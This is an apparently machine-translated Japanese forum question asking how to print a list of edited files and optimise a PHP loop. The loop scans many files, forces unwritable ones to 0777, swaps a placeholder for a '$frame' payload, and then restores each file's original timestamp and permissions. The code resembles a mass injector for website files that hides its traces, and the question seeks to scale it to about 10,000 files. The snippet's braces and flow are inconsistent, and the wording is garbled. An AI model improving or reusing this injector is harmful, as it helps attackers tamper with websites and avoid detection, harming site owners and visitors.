作成および編集されたファイルをカウントするスクリプトブロックがあります
foreach ($files as $file)
{
$info['founded']++;
$Checkfile = file_get_contents($file);
if(!strpos($Checkfile, $searchfor))
{ //If string NOT exists in the file
$p_chmod=substr(sprintf('%o', fileperms($file)), -4); //Get file perm value
if (!is_writable($file))
{ //if is NOT writable
if(chmod($file,0777)) //Try to set perm
{ //If perm sett
$t_mod=@filemtime($file);
$str=file_get_contents($file);
$sub_count= substr_count($str,$place);
if ($sub_count>0)
{
$info['replaces'] += $sub_count;
$info['edited_files']++;
$str=str_replace($place,$frame,$str);
file_put_contents($file,$str);
@touch($file,$t_mod,$t_mod);
@chmod($file,$p_chmod);
}
} //If perm NOT sett
else $info['nowritable']++;
}
} //if file is writable
else
{
$t_mod=@filemtime($file);
$str=file_get_contents($file);
$sub_count= substr_count($str,$place);
if ($sub_count>0)
{
$info['replaces'] += $sub_count;
$info['edited_files']++;
$str=str_replace($place,$frame,$str);
file_put_contents($file,$str);
@touch($file,$t_mod,$t_mod);
@chmod($file,$p_chmod);
}
}
}
else //If string exists in the file
{
$info['exist_files']++;
}
return $info;
}
設立されたファイルをエコーする方法、
$info['foundedFiles']= text & \n & text;
echo $info['foundedFiles']
作成されたファイルが約10000になる場合はどうすればよいですか?多くのページソースが必要ですか?スクロールボックスにエコーするかもしれませんが、ディスクに書き込まずにそれを行うにはどうすればよいですか?
このコードを最適化する方法は?